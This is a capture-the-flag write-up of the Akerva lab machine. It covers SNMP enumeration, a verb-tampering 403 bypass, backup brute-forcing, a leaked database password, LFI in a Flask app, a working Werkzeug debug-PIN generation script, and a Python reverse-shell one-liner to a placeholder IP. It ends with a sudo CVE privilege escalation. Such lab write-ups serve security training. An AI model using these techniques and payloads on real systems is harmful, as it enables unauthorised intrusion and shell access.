This fun fortress from Akerva features a gradual learning curve. It teaches about common developer mistakes while also introducing a very interesting web vector. Prepare to take your skills to the next level!
Discovering the first flag was easy as checking the page source of http://10.13.37.11 revealed the flag hidden in a comment.
This is to demonstrate that even a forgotten comment can contain valuable information. Always keep an eye out on page sources for juicy infos like user-names, api routes or even passwords
Take a Look Around
During enumeration I encountered an open UDP Port on Port 161 (SNMP). Let's check if it will reveal any details about the environment
snmpbulkwalk -c public -v2c 10.13.37.11 . >> snmp.log
# Some infos about the system
iso.3.6.1.2.1.1.1.0 = STRING: "Linux Leakage 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64"
iso.3.6.1.2.1.1.3.0 = Timeticks: (44763477) 5 days, 4:20:34.77
iso.3.6.1.2.1.1.4.0 = STRING: "Me <me@example.org>"
iso.3.6.1.2.1.1.5.0 = STRING: "Leakage"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
# Files that could be useful and the next flag
iso.3.6.1.2.1.25.4.2.1.5.1222 = STRING: "/var/www/html/scripts/backup_every_17minutes.sh AKERVA{XXX}"
iso.3.6.1.2.1.25.4.2.1.5.1223 = STRING: "/var/www/html/dev/space_dev.py"
A nice demonstration on why you should always control which data get exposed on publically available endpoints
Dead Poets
Using snmp it's clear that there are two files located on the webserver which seem to be interesting for further anlysis. space_dev.py, backup_every_17minutes.sh
Using wget to get any of those to files will either result in 403 Forbidden or Wrong Username/Password
Let's try it using Verb Tampering
curl -X POST http://10.13.37.11/scripts/backup_every_17minutes.sh
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{XXX}
#
SAVE_DIR=/var/www/html/backups
while true
do
ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
echo "Erasing old backups..."
rm -rf $SAVE_DIR/*
echo "Backuping..."
zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*
echo "Done..."
sleep 1020
done
Always a nice idea to check if you are able to access file using different verbs. Maybe the webserver was wrongly configured and does only check on GET requests. More infos on 403 & 401 Bypasses
Now You See Me
The script backup_every_17minutes.sh we discovered is used to create backups of our target webpage every 17 minutes.
Backups are saved in /backups/backup_$(date +%Y%m%d%H%M%S)
How to get the backup? I could either try to calculate the next run or just bruteforce it. Math isn't my speciality so I'm going to bruteforce filenames.
Generate a wordlist that should cover around an hour
crunch 4 4 0123456789 -o wordlist.txt to generate wordlist
After downloading and inspecting the content we discover two things, db credentials in wp-config.php and under dev/ the file called space_dev.py with our next flag
Database Credentials
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wordpress' );
/** MySQL database password */
define( 'DB_PASSWORD', 'ZokDHE_DJ_____enzU)=' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
space_dev.py
#!/usr/bin/python
from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
auth = HTTPBasicAuth()
users = {
"aas": generate_password_hash("AKERVA{XXX}")
}
@auth.verify_password
def verify_password(username, password):
if username in users:
return check_password_hash(users.get(username), password)
return False
@app.route('/')
@auth.login_required
def hello_world():
return 'Hello, World!'
# TODO
@app.route('/download')
@auth.login_required
def download():
return downloaded_file
@app.route("/file")
@auth.login_required
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == '__main__':
print(app)
print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
app.run(host='0.0.0.0', port='5000', debug = True)
Open Book
Next in our list is the application running on port 5000.
What do we already know?
Werkzeug httpd 0.16.0
Python 2.7.15+
Uses Flask
User: aas Password: AKERVA{XXX}
Routes /file, /download
Debug = True that means we should have acess to /console
Visiting http://10.13.37.11/5000/console will display the debugging console which is protected by a pin. Since we already found a LFI and are able to identify which python version is used I will use that to generate a pin based on system infos - Hacktricks - Werkzeug PIN Exploit
First I get infos that are needed to generate the pin
MAC: http://10.13.37.11:5000/file?filename=/sys/class/net/ens33/address (Convert using: Vaultr) Machine-ID: http://10.13.37.11:5000/file?filename=/etc/machine-id User: http://10.13.37.11:5000/file?filename=/etc/passwd (Guessed it was aas)
import hashlib
from itertools import chain
probably_public_bits = [
'aas',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'345052354586',# str(uuid.getnode()), /sys/class/net/ens33/address
'258f132cd7e647caaf5510e3aca997c1'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Running the script will generate the pin to enter console 245-971-816
We are now able to run commands and get a reverse shell using following command
import os,pty,socket;s=socket.socket();s.connect(("XXX.XXX.XXX.XXX",4000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
Our flag is located at /home/aas/.hiddenflag.txt
Super Mushroom
After getting the shell it's always good to check the system for any privesc paths. I used linpeas to get an overview about the system
Two things jumped directly at me
Sudo version 1.8.21p2
CVE-2021-4034
CVE-2021-4034 wasn't exploitable during my enumeration phase so I would say it's a false positive.
Sudo V. 1.8.21p2 can be exploited using a known exploit CVE-2019-18634 - SUDO-CVE-2019-18634
I compiled the exploit on my host using the Makefile and transfered it to my target using pwncat-cs framework which handles my reverse shells and listeners